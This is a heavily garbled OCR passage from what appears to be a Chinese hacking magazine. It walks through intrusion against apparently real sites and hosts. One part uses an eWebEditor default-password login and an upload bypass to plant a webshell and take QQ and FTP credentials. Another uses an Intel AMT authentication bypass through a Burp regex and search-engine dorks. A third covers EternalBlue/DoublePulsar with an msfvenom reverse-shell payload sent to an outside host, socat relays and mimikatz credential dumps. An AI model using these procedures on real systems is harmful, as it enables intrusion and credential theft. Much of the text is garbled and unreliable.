T, IhaE e Rt I, R — AU SR S EYGEA REV A, PR AL
FR AT DATR ZLNE, 272 HBhBkik 28 55 6 - ARG H @ RIS & bk 320k — 2
H% FHI “http:/034.748239.com/post/admin” , & 1 fin, RIIEREUS &8 st
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1 3RIUR & Lt

2102 EANEE

EHIKS “admin” , %4 “admin888” MUINE X5 G, WK 2 Fiax. REGDIAEARH T
B, EEAAHRATIKSER, RO, AEREBESE =K.

{% 1t.
Mis#ERGE © ER RN
EEEE | R o RIE AR FRaa | EEREE
RITHSEE Y,

AT SEIE
BEREE

KL Y,
SRINSE
EERM

AFERFEBESEER ¥
BERNEER
e
MERTAHER

K2 #NEE
EAE

2.10.3 73BT W s YR AAS

TE I A Xl A R (PR DA SR SRR SR RFIEAS B, Pz 38 T SouthidcEditor 4
BB, R R SR T VR S B 2
http://034.748230.com/post/admin/SouthidcEditor
http://034.748230.com/post/admin/J& it SouthidcEditor
T EILERIA mdb B 2

(http://034.748230.com/post/admin/SouthidcEditor/Datas/SouthidcEditor.mdb) , FfXJ H25h4
HEATRE, RECHLIK 500 N KBRS, XSS AT &%, MIHENES, WE 3 s,

") eWebEditor - eWebSoft? X

<« C' | [ 034. 748230. com/post/admin SouthidcEditor/admin_default. asp Q| =
oisEAME BHE N FAEEET  ° BREAEEHEE¥RE

:

— eWebEditor™

- HXER eWebSoft.com
- BEBREER

S beypEE adnin: KiMEHAERR

-~ BAEREOEN

ARERFHIERS, FAREEIERE!

RPERA :  eVebEditor Version 2.8.0
WRPIE:  eVebSoft. con
BREHME: Vb EHRA

FEUE:  http://www. eWebSoft. con http: /vy, vebasp. net
@R 3 . ellel . i
iZHt:  http://bbs. webasp. net

BEAL: 0IC0:589808 Email:webmaster@vebaso. net %

K 3 i3t \ SouthidcEditor 2k 48 J5 & & B

2.10.4 SRR RHITEN

s pEE R, EHA e - MERARR “1127 , IR RV b AR SO SR RSO R
INEBE RSN “|asp|cer |asasp” XA, W 4 Fion.
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S o o
~ ronEm figam: [z . MWk RRE v o
- BEEREBEN EftiaR: | ASPiplosd LR v (e BYHER:  TRA
- B EAER: [tandud . HABR: (offace
BERE: [w0 . REER: 00
REE: (BF v . Vordbili: | SEOHBART v«
EENH: BHER v . HIBY:  WATRA v
ERTEBRGEY 2R (AW ARG ENRRERATEE) ¢
HEM:  BEHE v« B8 LRBE: [ploaile/
nrRE: | nERE:
i ERTBR AR RNBE (XHADRE A, ORREARY) :
BRAS: [aflielpeltonlomic RIS (100
Flash®Bl:  [ovi [aspcox FlasfRB): 100
BERD:  [mirodlvavinidinidi|ra BiEMRBl: (100
HMERD: [rarzsp| exe| doc fxie] ch eyl (s
ERRE: [13f[ipetaplaepleor EEMe): 100
wEHE:
semtazum:
= RHAEIE L REDIEA TGS, BREHL TplodFile/.. Tleaile/... B
;tin s&nmﬁla AR NASR BN, BER LR R WERE ARETE

K 4 ErE

2.10.5 ff i b AAIR AR AT bAE

¥ UL NI LRAE N htm ST, FE4THFZ htm SO, EAE—A> asp IR S
<form
action="http://034.748230.com/post/admin/%E5%8E%IF%E7%89%8 8SouthidcEditor /upload.asp
?action=save&type=image&style=112&cusdir=a.asp" method=post name=myform
enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>

<input type=submit value=upload>

</form>
D \Tool s\BPE\IRIEEIAXLTTH \ewebedi tor i E \ewebedi tor A8 F {5 htm — Windows Internet 2 =10l x|
O = [ETnteats e 571 14/ % @ v to-piprips . x |_| N S e
=
| ..
=

P 5 A PR (1 A% PRI B A AR

2.10.6 JREX_EAE 0 Bk st

TEEHSE R« PO E R, A E S “1127 , W 6 Fros sl FAERISC
f 2015114224141253.asp, EL{EIRE—A)1E 5 A HbE .

[ eWebEditor - eWebSoft? X
& [T 031, 7482308 con post/adnin

NEENAME BHE N S EASEER O BUEATEAEEERER

- EAER RBHKXER: #X: 112—BR: bloaFile/
- ERRHERH S e
e BT T
) e [ % | sen | sp | #ewa | tesn |
- BREEESRN ] 08 B 2015/11/4 22:38:32  2015/11/4 22:38:32
- B @ 2015114223919192. gif 708 B 2015/11/4 22:39:19  2015/11/4 22:39:19
[@ 2015114204141263, as 190 B 2016/11/4 22:41:41  2015/11/4 22:41:41

K 6 A AR AL SO
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513833068

2.10.7 FREL Webshell X fR

o E R &Rz L, BT 3REL webshell, WK 7 B, H

EF. AT BRAF. RERSE.

H web HRHEZE R

B A= =] izuho-fg. co. jp
B@ %WESZ s E

O JeFER

0 AURAT

O el RAR
B RAR- AR

o e-20iEs
_1 e Iﬁ i

i zuho-fg. co. jp

rsﬁm B IRAM. o

WBRAR- AN

SR

E‘vilw §§

‘iﬁ%@# i

L'UL ooooom LJU

@k

o = 0. con (=1 pen x| B
D SRR AR R
206.106:50.2 BR04), X £ )
(3 Windows * ) 22centuryve 2015-08-05 05:32:49
& : SRECYCLE. BIN © e-20iE% 2015-08-09 17:50:38
3 System Volune Information 2 me-T AR 2015-08-05 05:32:23

2015-10-17 15:36:20
2015-10-27 19:26:03
2015-08-05 05:35:00
2015-08-05 05:35:12
2015-10-18 00:22:24
2015-10-17 17:48:08
2015-08-05 05:33:36
2015-10-06 16:47:24
2015-08-05 05:34:15
2015-08-05 05:34:31
2015-08-05 05:34:37
2015-08-05 05:32:45

(1034, 748230, con > Bigiiae

024141

BHI= 2015-11-0¢ NAHE

-0 x

& [E] 35548
AR

Typel

© B

A

] E#T#

GB2a12

K 7 $HL webshell

2.10.8 5 BY &

(1 FI QK SER

1T Webshell £ R HE3KH QQ K515 2 “C:\Users\All

Users\Tencent\QQProtect\Qscan\” , 1ZMk55#s E ¥4 QQ k'S 1482327338 & kit

K 8 Fimo

o

o s
s 3
2 BR O, ZH0)

004, 746230, com

BHid

#4

]

L3

-0 x
EHI= 201571104 AEHE
115 sha=R
Bxs(
Typsl
B
EAE

K 8 KL QQ k515 &

(2) KB Ftp K S5 8

T “C:\Program Files (x86)” A1 “C:\Program Files” 3}HX FileZilla Server fic & S /4 Filezilla

Server.xml, TEIZXCAHFFHIRAFEAH Ftp %
ftp B MK R R, HBD 2 R mds %
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E E:\work\BREFH{ZFmM%\getdata\FileZilla Server. xml — Hotepadi+

MMIE) HRIEE) BEE) MAM Ff1Am FS0 REM E0 ETE
| cOHE 5 B +HD|de (M| s < (BB

|=| FileZilla Server‘xmﬂl
1 <FileZillaServer>
EE] <Settings>
3 <Item name="Admin port" type="numeric">14147</Item>
4 - </Settings>
5 <Groups />

8 = <Users>
7 = <User Name="123">

<Cption Name="Pass">123</Option>

9 <Option Name="Group'"></Opticn>

10 <0Option Name="Bypass server userlimit">0</Cption>
11 <Opticn Name="User Limit">0</Cption>

12 <Cption Name="IP Limit">0</Option>

13 <COption Name="Enabled">1</Opticn>

14 <Opticn Name="Comments"></Cption>

15 <Option Name="ForceSsl">0</Option>

18 <Cption Name="8plus3">0</Cption>

Z

17 B <IpFilter>

18 <Disallowed />
19 <Allowed /4

20 - </IpFilter>

21 E] <Permissions>

Kl 9 FREX ftp &k 5 A5

(3) VEBW KT

I Pk ARG FEAT S0 AT, R I VEGw Pl 2 AE TSI ‘W 2 R 17
“M R EENE 27 L W BTN . ‘W EME RS M “ImfE g7
LT, AP N RS EE T exe” « “RERZEE fexe” . “TH G
NS ks df.exe”  “ME P zip” SRR BAE, BB VI MR E ik, #E47
RATIR S . BFADEREL,  HETMTREAT VED .

(4) Ad R AAT 0105 B B IR sl 34T B 1R

HTTrack Website Copier/3.x [XR&CO'2013], %s -->" -%l "cs, en, *" http://www.spp.gov.cn/ -01
"F:\\web\\spp" +*.png +*.gif +*.jpg +*.css +*.js -ad.doubleclick.net/* -mime:application/foobar

2.10.9 BB R4

(1) A3 2 4 2 U T

Kol P2 H Bk

JE % SouthidcEditor /Datas/SouthidcEditor.mdb
SouthidcEditor/Datas/SouthidcEditor.mdb

B L

SouthidcEditor/Admin_Style.asp
SouthidcEditor/Admin_UploadFile.asp

AL SR AL . /SouthidcEditor /UploadFile 5% /UploadFile
(2) Hdfa e F @bt

Databases/h#asp#mdbaccesss.mdb

Inc/conn.asp
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2.11Asp.net R1FERBEE ST

antian365.com simeon
FER HE— AR S5 24T 22 AR MU i L B A K 5 admin (350S4 -
5D2C4C35-5F08-42ED-B18B-AC7CB867E10C , 4 “-” HAH N 32 Ai7frd, R mds {HA L
%: 5D2C4C355F0842EDB18BAC7CB867E10C, HWIF 1 fitzr, HARSE 32 fi7, (HIEIL cmds %
W e TCVE RN, S X IR IR Ay, X kg ﬁj‘*ﬁ%ﬂﬁﬁn, E%HH HEEB AR !

IR
e ORGP AZRO0AS

2.11.1 f¥ F Reflector.v9.0.1.374 [ 4qi%

Reflector /& — MR E AR A S g 2%, 1T DL SR I g BB LE 22 B dlll 1. Net F2 )7 AR
B WG R bk http://www.red-gate.com/products/dotnet-development/reflector/, fi#
FR R # bk :  https://down.52pojie.cn/Tools/NET/Red.Gate.NET.Reflector.v9.0.1.374.7z . ‘%345t
FRARTEIH, AR . 223858, It File FTHF 75 Z R BEM dil ST, TEAGIH 2 asp.net
FEFURACHY, HF 2 R dil £7F wwwroot\bin H3g F, WK 2 s, R REFEK

P HIFE R 2 F5 A AblManage T3k dil 3214

_WET Reflector 9.0.1.374 - 14 days remaining

| Jce vl [mrae/ces /x| 4|

l { [CryptorConst |
[T I

Namespace
_| % CryptorConst Ablanage

% PASSHORD : String
49 EALbunPageType
2P ElsFlag
P EState
{} AbllManage. Albuns
{} AblManage. Safety 4«

maE

2 (€] 2% CryptorConst. . cetor () : Void
@ jr; STl static CryptorConst 0
® 43 SysMenuInfo 1
[ % SysRoleFunctionInfo KEY = “LIVG";
[ %43 SysRoleInfo IV = "LIUG"
[ % SysRoleMlenuInfo PASSHORD = “99999999";
[ 3 AblManage. ¥eb (1.0.0.0) 1

= W AblManage. Heb. dll

2 TE RGN dIl B2
i Reflector T 75 E4m i dil SCHF, v DUEH PLbEsE “ctri+0” , & AblManage F
SKIETA dil SCHF, Wl 3 B, RRIF AT R R, REEFENRG, W UAEERIBSH
LR
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FHEER 0:) - t - Asp. net RIMERHEST - BHBBIIRE - wwwroot + bin
o) TEm FeEho
IR FRENiEK
4 s | e [2e [ s |
%) AblManage. Business. dll 2017/4/18 0:24 RFIERYR 6 KB

%] AblManage. Business. Inplement. d11 2017/4/18 0:24 EEERTR 29 KB
%] AblManage. Business. Interface. dl1 2017/4/18 0:24 HEERER 12 KB
%] AblManage. Datahccess. dll 2017/4/18 0:24 HEEETR 6 KB
|%) AblManage. Datahccess. Interface. dl1 2017/4/18 0:24 MEEETR 11 KB
%] AblManage. Datahccess. SqlFactory. dll | 2017/4/18 0:24 HEERTR 8 KB
%] AblManage. Model. dl1 2017/4/18 0:24 HEEER 18 KB

AblManage. feb. dl1 2017/4/24 23:15 MEEETR 105 KB
%] Antlr3. Runtime. d11 2015/11/27 20:30  RIRERTRE 101 XB
%] Core. a11 2017/2/16 1:24 HEERTR 41 18
%] ICSharpCode. SharpZipLib. d11 201T/3/7 23:46 EEERR 184 KB
%) ITextPDF. d11 2015/1/21 16:41 R 9 KB
%] itextsharp. d11 2015/1/21 1T:26  EARER 3,912 KB
(%] itextsharp. licensekey. dl1 2016/10/7 20:40 HREETR 16 KB
] itextsharp. xfaworker. dll 2016/10/7 20040 FERETR 3,893 KB
%] itextsharp. xmlworker. dll 2015/1/21 1T:21  EEEER 164 KB
%] Jint. d11 2016/10/7 20:40 FARRR 363 KB
%] Logdnet. d11 2015/11/27 20:30 SRR 296 KB

Kl 3 &4miF dil ST
AN Il B S, AR R RS HACY, W B ARSI E, R TR,
RIADHE S 4 13 S AIPRARAS 5 .

2.11.2 FREXHI 460 25 205 R 2% 4

I g A P 2% PASSWORD KHE 7RI N & E, WK 4 Fiow, 1%
EXT IV IS EEA KEY [EI8 UUG, ERIAZETYA “99999999” .

M C:\Documents and Settings\Administrator\ly Documents\Reflector\Disassembler
IHE RKEE 2FO NBW B FEo RBO IAQ F® ETE H
cHEE S| iaR e |rkt s BE(%T EQ

[ SysFunctionlao. estd (=) CryptorConst. esEd I

1 himespace AblManage

2 {

3 using System;

&

) public class CryptorConst

6 {

? public static str1ng
8 public static String KEN .

s public static string| PASSWORD = "99599995"; |
10 }

11 }

12

K 4 SR E s E
HTARREEZIE, WRGERSH ORI E L, WA BLEHE PR Cryptor #E4T#
R, BEJNE R, AR LE H ARl i AT 83, i 5 Pos, WMIENEG .
S S —

' O eftsEsrs
€& - C [ 59mustmieemd 1o, asp

. M FAMEERA oo

) $FR2017FsA16H 8= W REEER BREALRGE
g WS EERRSE v UBRF @Fm
TS rEVT HiESH L:gg: £ ®is
1 adnin FHEER ]

K 5 N JE &
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2.12Intel AMT & 45 Soid 8 IR IR 70 Hr-5 S %

By antian365.com simeon

2.12.1 IR TARI A

2017 £ 5 A 1 H, FERERAA T AMT Il (INTEL-SA-00075) , HiZIRR 4015 R 2
FF. 2017 45 H 5 H, Tenable A =N R-Ri&HT « il B s 24 LMS A, mA& KR
I R A %R o
1w 5

Intel AMT [f] {12 A 581 & s il CVE Wil 25 CVE-2017-5689; Intel AMT [Fl {1 7] LATC
BORRRATE BN SKU: SERF R ESNEHE AR (AMT) FITERERARERTEHEME AsM) .
AU AT DU IS 2258 LMS 3ok BRAE AR, $2 0t Web Vi inl 4% 1. TN 48 X idi 5 ml LA
PR RGRR, TR E K S, AU SN, Al DL # S 1 AL

AMT & — K AT B 13 4 A 28 LR 422 11 0 285 5 11 16992 U Ml (s ANE B T B e
AREN EEEHRERMNG, W IT ARFELERGEHRTREEE . BEIFBHOAER
25 B AR . B RE SRt — N L AR AT S 6 A (a0 R 222 (1) 72 IR T 1 IR B ) G78 R 52 1 U
WA PR o 7EFRHCRL R 2 B % B R PS5, (H A2 IR 36 2 1 T = oG B 3 fe e R i
fREFEdIR . B O N RE R AMT U7 AR E 1B k3, EEH Mg ErBed#
O BT AR BE RS B FIX AN E N AMT & B ) AR 5l AR 55 8% 953 — b T Al
2.2 R G

SR R RRCA 6., 7.x, 8.x , 9.x, 10.x, 11.0, 11.5 fl 11.6:
5 —4X Core family: 6.2.61.3535
2 4% Core family: 7.1.91.3272
2% =4 Core family: 8.1.71.3608
5 V04X Core family: 9.1.41.3024 and 9.5.61.3012
2 H.AX Core family: 10.0.55.3000
257518 Core family: 11.0.25.3001
4K Core family: 11.6.27.3264

2.12.2 Wik

(1) AT LAEEEK AR 55 2 rL R

(2) BN img G L EE RS, BITfRE RS-
(3) HEfEM BIOS

(4) ik kvm 3475

2.12.3 YR F R

AMT FREH P IETT response_length fE KT AW, RIS

if(strncmp(computed_response, user_response, response_le ngth))
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deny_access();

IXAMARE BRI AN E P AN T 47 £ B — AN response_length 711, BEHEATEAZ—
FE, UL ECEE R PR AN 4 B s 1k R 8 S B RO AR B UE MR Y. Cuser_response ) AR 2522 3K 1) 1)
M. (computed_response) o WIERFHEFTF, FHHEXNH, FrLOZRE0R A ZE, (U4t s:
TR WRIAFRFREA—F, ZRBOR AR IEE, XEREHEAX, a4
Villo Bl BRI R TR, KEAE, AT IkaE, FINEa 7> 2A—F1;
AL, strnemp()iR B %, FREFIIERSR DD . R, 25 0e B2 45 B 4 R 280 4 5T
SEBr BB TR, RGBT AZ L response (KT A H N4, BIAT SIS B IE#EAT 8 5% .

2.12.4 J§TRF R JR

LAR R

TR Z IR AR AL A3 1 16992, 16993 I 623, ] LAfEB)) zoomeye Al shodan %54
RO R “port: 169927 . “port: 169937 Hl “port: 623”7 KIRHL, N T HEIAEHELE H
bR B, B LLR] ARG NS5 Intel®Active Management Technology, W& 1 fin, BEHEHEZR
Intel®Active Management Technology country:China country:China port:16992 .

€ C @& %2  https//www.zoomeye.org

TR 158 FRE5H (0.096 1),

118.150.17.193 @

Intel Active Management Technolo.

Port
118.170.80.22 ¢

Country Intel Active Management Technolo

1 RAFAE I 1 RS 2%
2LEE M IEHIZAT web RS54
EHRERT N AAE AN ET RN E RN EREITEE, OlEERGITIT
€118.150.17.193” 48 & 45 il bk “http://118.150.17.193:16992/logon.htm ” W1 2 fiR,
I BB I I8 AT

C | ® 118.150.17.193:16992/logon.htm

klntel® Active Management Technology

Log On
Log on to Intel® Active Management Technology on this computer.

7 Log On...

Kl 2 &F AMT k%2 5 1B i1
3.4 burpsuite % &
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iZAT burpsuite &, Hii “Proxy” - “Option” , 7£ “Match and Replace” H3# i ol & 4
4 Request Header 5 H, Match 1B N response\s*="[0-9a-f]+", Replace HJ{E N response="",
WEWE 3 B, EEE (ntercept) TR BEFZEITF RN “InterceptisOn”

4JBurp Suite Professional vi.7.11 — Temporary Project ~ licensed to Larry Lau

Burp Intruder Repester Window Help

Target [ Proxy | spider | scanner | inrucer | Repester | sequencer | pecover | comparer | extender | Project optians. | user options | aterts |

[ntercept | HTTP nistory | webSockets history [ options |

Prominertly
0 £ ple disabled form fields
() Renove input field length limits

() Remove JavaScript form validation

ighlight unhidden fields

AEdit match/replace rule

(2] Sty thedetais ofthe matchirepiace e

() Remove <object=tags Twe: || v
() Convert HTPS finks to HTTP

Match:  responseis*="[0-Ga-f}+"

() Remove secure flag from cookies

Replace: | response=""

(2) Match and Replace Comment
® ARCERarERL @ Regex match
Add Enabled | fem | match ]
oK. Cancel
() Requestheader  AcceptEncoding’$ CEN T T r—
a Response header  “Set-Cookie.*$
Remave. o Reguest header “Host: foo.example org$ Host: bar example.org Regex Rewrite Host header >
() Request header Origin: foo.example org Regex Add spoofed CORS origin
e () Responseheader  “StrctiTransporti Securty. Regex Remove HSTS headers
() Response header X-XSS-Protection: 0 Regex Disable browser XSS protection
Down @ Request header responsels?="[0-9a-f)+" response="" Regex 154

K 3 1824 burpsuite % B
4 18 F admin &3¢
[ B e gert (—FERE E A 127.0.0.1 ALHIH 0 8080) , Hiii “LogOn” 4T
Hak, WA admin, ZHDEE{EIN

/7 Intel® Active Managen: X \| |

< X | ® 118.150.17.193:16992/10g0

Intel® Active Management Technolo @REZiiEEpiE-TE
k http://118.150. 17. 193:16992 ERZHMAFEINED-
RS HRER AR EE R

Log On
Log on to Intel® Active Management Technology on this comp FAPE:  adnin
| Logon.. | B [ |

K 4 {8 admin #E1T &%
5. AMT 5 HL 5LTHi
f£ burpsuite 1] Intercept F1, Hiidi “Forward” BFEATHAT, E 5 fis, WI)E S AMT &
PRSI, RS R DLE BRI EPIRAS ZIRIR, 1P ik, B4k P Hilk, R4 D FHER,
WA UIEE RS, WA NAE. BRSO

// [ Intel® Active Managem: X \\ \

<3 C | ® 118.150. 17. 193:16392/index. htn?

Intel® Activg Management Technology
MT

Computer: BU

System Status System Status
Hardware Information
System Power Hibernate
Froe o P address 118.150.17.183
emo =
Disk K IPv6 address Disahled
Battery Wireless IP address 0.00.0
e S Wireless |Pv6 address Disabled
oo Brles System ID 07476520-1691-714e-01¢3-7824a17 46121
Network Settings Date 5/2212017
Wireless Settings Time 4:09am
IPv6 Network Settings e
System Name Settings | Refresh |
User

87 Ti/3t 97 W

B Muk: http://www. antian365. com

HARHM: 028 H HTRE:
b

28



(22K 365 AL ——(F B L EHAH TS AR QQ HF: 513833068
JEHS: antian365-201705-28 %K 365 fAiFiACiit % A:  http://www jianshu.com/c/ad835367b9e3

K| 5 &% AMT &3 5

6. LFEHE JH RS
. “Remote Control” GEAEIEH]) , @l 6 frax, wILAEATH G S, MI6H 530,
MHERL G B, HREBEBECHBEE! N TEENRS, —HXHER, LERITUEZ—TF!

\
[ Intel® Active Managem: X \\ |

< C | ® 118.150. 17. 193: 16

Intel® Active Management Technology

Compiper: BU201-AMT

System Status Remote Control
Hardware Information
System Power state: Hibernate
;L”:ﬂi‘:;m Send a command to this computer:
Disk * Turm power on Selecta hoot option:
Battery  Narmal boot -
Event Log ‘Boot from local CD/DYD drive
Remote Control Boot from local hard drive
Power Policies -
Network Settings
Wireless Settings
IPv6 Network Settings
System Name Settings
User Accounts Send Command ‘

*Caution: These commands may cause user application data loss.

K 6 IR R G
7 RS A
HLdr “User Accounts” , TEHAFRTLUETENIS, MBSO & as, MR LR S e 2R
G, WA 7 i, BT DA E A B G ORI o VNI P L R SR AT BER, R/ 8
B, BN TFERING, B AR AT, WA 8 B, I EIE TR I -

/ [ Intel® Active Managen: X \\

& C | ® 118.150.17.193:16992/acl. htn

Intel® Active Management Technology

Computer: BU201-AMT

System Status User Accounts
Hardware Information

System . :
reeSann Manage the device user for this
emory User names:

Dlck SBAAMTUser ~

Battery

Event Log
Remote Control
Power Policies
Network Settings
Wireless Settings
IPv6 Network Settings -
System Name Settings
User Accounts

New... H Change.... H Remove || Change Admin... |

Anonymous access

Configure access for the managed device on this computer.
! Allow anonymous access for endpoint access control

Submit

K7 fE
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" Intel® Active Managem: X ~.\"‘

& X | ® 118.150.17. 193: 16982 /acl. htn

Intel® Active Management Technology

Computer: BU201-AMT

System Status Change User Account
Hardware Information

System User name: Permissions

Processor

Maron SBAAMTUser Administrator: Grant access to all pages.

E3

Disk RAECHOTS Grant access ta:

Battery 2
Event Log Canfirm passward: Hardware Infarmation
Remote Control Event Manager
Power Policies Remote Control
Network Settings B . " | ey
Wireless Settings Minimum 8 characters with upper and lowercase, 0-9, and one of {@#$%*&*()
IPv6 Network Settings
System Name Settings
User Accounts

| Submit || Cancel |

Kl 8 & i Y
8.1# Fil Nmap % HAx 1P #3474 TCP it 1 414
8 FH Nmap X B A% IP #5474 TCP i H 433 B 45 R W, F74E 16992 16994 Fl 623 ¥ [
WK 9 fiw, PR Tenable 24 R 7T H % 1 16992, 16993 1 623 AT HH A

2.12.5kali ‘& T msf F|

ELABAT msf, SRJE 1 LR B AT 0t
use auxiliary/scanner/http/intel_amt_digest_bypass
msf auxiliary(intel_amt_digest_bypass) > show actions
msf auxiliary(intel_amt_digest_bypass) > set ACTION <action-name>
msf auxiliary(intel_amt_digest_bypass) > show options
msf auxiliary(intel_amt_digest_bypass) > run

2.12.6 ZEPGTE

1514

Tenable A ] L& TE Nessus HEE T S f BIAS, 5 413 8% T A AT BABE B 3L Scripts BJ)
Al e gs, AR 1 16992, 16993. 16994 Al 623 Ui . — H T iE
F L5 34T R .
2. [

TER k% ¢ ] 16992, 16993, 16994 1 623 i [, L4k intel A FFRAETH04b T 5 7
[l 11 B T 2

2127 5% E

(1) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5689
(2) https://threatpost.com/researcher-baseless-assumptions-exist-about-intel-amt-vulnerability
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/125390/
(3) https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
(4) https://www.embedi.com/files/w hite-papers/Silent-Bob-is-Silent.pdf
(5) https://www.rapid7.com/db/modules/auxiliary/scanner/http/intel_amt_digest_bypass

2.13 WfAr A windows Oday ik#+ LR 3 B M kali
2.13.1 SEIRFR 3%

AR 1p:112.90.89.14 T Hl windows ip:192.168.42.135  ZiAl kaliip:192.168.42.134
A RS B dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=112.90.89.14 LPORT=5667 -f
dil >msf2.dll

:~# msfvenom -p Qindows)x64/metérprete'r/reversewtcp LHOST=112.9
LPORT=5667 -f dll >msf2.dll

No platform was selected, choosing Msf::Module::Platform: :Windows from t
ad

No Arch selected, selecting Arch: x86 64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes

Final size of dll file: 5120 bytes

4 msf2.dlIl 4£ 5] 192.168.42.135 windows X HL |

2.13.2msfconsole 21T M Iy FH-AC B payload

use exploit/multi/handler
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sf > use exploit/multi/handler

st exploit( ) > set payload windows/x64/meterpreter/reverse tcp
ayload => windows/x64/meterpreter/reverse tcp

st exploit( ) > show options

Module options (exploit/multi/handler):

Payload options (windows/x64/meterpreter/reverse tcp):

Name Current Setting Required Description

Exit technique (Accepted: ''
LHOST yes The listen address
LPORT 4444 yes The listen port

, seh, thread, process, none)

Exploit target:
Id Name
0 Wildcard Target

msf exploit( ) > set LHOST 192.168.42.134
LHOST => 192.168.42.134

msf exploit( ) > set LPORT 4444

LPORT => 4444

msf exploit( ) > exploit

2.13.3socat W I

112.90.89.14 (A MIACFHE)
3. socat:apt-get install socat,

WEWr . socat tcp-listen:2222  tcp-listen:5667

'ot@HadoopSlavelw# socat tcp-listen:2222 tcp-listen:5667

5667 i 19 ki dil B 11, 2222 ¥ 114 kali socat 3%

192.168.42.134 (kali)
2% socat:apt-get install socat
ity 16 2

socat tcp:112.90.89.14:2222  tcp:192.168.42.134:4444

:~# socat tcp:112.90.89.14:2222  tcp:192.168.42.134:4444

2222 i FUONAMNRAREENL WS I 1, 4444 4 msf W W i 11
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2.13.4 A windows Oday 73417 B i

AT fo.py, FFREATIRE

DaveProxyPort
Metworkl imeout
TargetIp
TargetPort
VerifyTarget

Verif yBackdoor
MaxExploitAttenpts
GroomAllocations
ShellcodeBuffer
Target

Value

True
True
3

12

WIN72ZK8R2

Execute Plugin? [Yes] :

Executing Plugin

Connecting to target for exploitation.
[+]1 Connection established for exploitation.
Pinging hackdoor...

[+] Backdoor returned code:

18 — Success?

[+]1 Ping returned Target architecture: x64 (b4-hit)
[+]1 Backdoor is already installed — nothing to bhe done.
[#]1 CORE sent serialized output blob (2 hytesd:

ixB000000A B8 61

[#] Received output parameters from CORE
[+]1 CORE terminated with status code BxBERERORE
[+]1 Eternalblue Succeeded

ik i)

use Doublepulsar, JFfif

Module: Doublepulsar

Ne tworkT imeout
Targetlp
TargetPort
D11Payload
D110rdinal
ProcessMame
ProcessCommandLine
Frotocol
Architecture
Function

BEJ7 M. http://www. antian365. com

17T B Bty

Value

tsmsf2odll
lsass.exe
SHMB

x64
RunDLL

H A 3 -
%
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Selected Protocol SHB
Connecting to target...
Connected to target. pinging hackdoor...
[+]1 Backdoor returned code: 1B — Success?
[+]1 Ping returned Target architecture: xb64 (b4-hit> — KOR Key: BxBAIAY

SMB Connection string is: Windows Server 208 R2 Enterprisze 7681 Service H

Target 08 is: 2008 R2 xb4

Target SP dis: 1
[+]1 Backdoor installed
[+]1 DLL bhuilt
[.] Sending shellcode to inject DLL
[+]1 Backdoor returned code: 18 - Success?
[+]1 Backdoor returned code: 18 - Succ H
[+]1 Backdoor returned code: 18 - Success?
[+] Command completed successfully
Doublepulsar Succeeded

ek )

2.13.5msf FRIN BRI B I

meterpreter > | : .
I# mimikatz e, AT IREUK 5 %65

load mimikatz

meterpreter > load mimikatz
Loading extension mimikatz...success.

meterpreter >
{$F msv &% hash

meterpreter > msv
[+] Running as SYSTEM

[*] Retrieving msv credentials
msv credentials

Package Domain User Password

0;358823 NTLM WINDOWS-IKTAKB2 Administrator Im{ 01360574657e00a8b36
54d09774859b }, ntlm{ efbl6bb3alba39a99a2de6lc9ef7af84 }
0;996 Negotiate WORKGROUP WINDOWS-IKTAKB2$ n.s.
0;38834  NTLM n.s. (Credentials KO)
n
n

(Credentials KO)

0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;999 NTLM WORKGROUP WINDOWS - IKTAKB2$

(Credentials KO)
(Credentials KO)

18 kerberos 717 I S %565
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meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials
kerberos credentials

Package Domain User Password

Negotiate WORKGROUP WINDOWS-IKTAKB2$

NTLM

Negotiate NT AUTHORITY LOCAL SERVICE

NTLM WORKGROUP WINDOWS-IKTAKB2$
0;358823 NTLM WINDOWS-IKTAKB2 Administrator

meterpreter >

Y i

.0.0.0: 0.6.0.0:0 LISTENING
.0.0.0:421 0.0.0.0:0 LISTENING
.0.0.0:443 0.0.0.0:0 LISTENING
.0.0.0:445 0.0.0.0:0 LISTENING
.0.0.0:6088 0.0.0.0:0 LISTENING
.6.0.0:14501 0.0.0.0:0 LISTENING
.6.0.0:47001 0.0.0.0:0 LISTENING
.0.0.0:49152 0.0.0.0:0 LISTENING
.0.0.0:49154 0.0.0.0:0 LISTENING
.0.0.0:49155 0.0.0.0:0 LISTENING
.0.0.0:49156 0.0.0.0:0

LISTENING

AR, KRIL 14501 A] DL R

e Administrator

BNTERS, BRI R

S
https://bypass.world/201703/socat-meterpreter%ES%AE%IE%E7%SE%BO%E7%BB%B4%E6%8C%
81%ESBAE%BF%EI%I7%AE/

http://www.360doc.com/content/150202/21/597197 445798715.shtml
http://mp.weixin.gg.com/s?  biz=MzlyNTA1NzAxOA==& mid=502990295&idx=1&sn=181c1e9b0
1854b87d3d4752c¢593c4dd4&chksm=700a2442477dad54b542427edad3ecl16df8cde9f470eedebf
4597d4866d64b405801baf3d799& mpshare=1&scene=23&srcid=0415y7527mxKZwwyksb1 KPBW
#rd

http://www.10tiao.com/html/665/201704/2650441901/1.html

094 /4L 97 T BEAMES: http://www. antian365. com HERH: & H 28 H HT44GE: &
7k


https://bypass.world/2017/03/socat-meterpreter%E5%AE%9E%E7%8E%B0%E7%BB%B4%E6%8C%81%E8%AE%BF%E9%97%AE/
https://bypass.world/2017/03/socat-meterpreter%E5%AE%9E%E7%8E%B0%E7%BB%B4%E6%8C%81%E8%AE%BF%E9%97%AE/
http://www.360doc.com/content/15/0202/21/597197_445798715.shtml
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http://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=502990295&idx=1&sn=181c1e9b01854b87d3d4752c593c4dd4&chksm=700a2442477dad54b542427edad3ec16df8cde9f470ee4e6f4597d4866d64b405801baf3d799&mpshare=1&scene=23&srcid=0415y75Z7mxKZwwyksb1KPBW#rd
http://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=502990295&idx=1&sn=181c1e9b01854b87d3d4752c593c4dd4&chksm=700a2442477dad54b542427edad3ec16df8cde9f470ee4e6f4597d4866d64b405801baf3d799&mpshare=1&scene=23&srcid=0415y75Z7mxKZwwyksb1KPBW#rd
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2.14Linux(CentOS)% 4 i Bl z Ak Mk 5% 3 11 AR 555 P

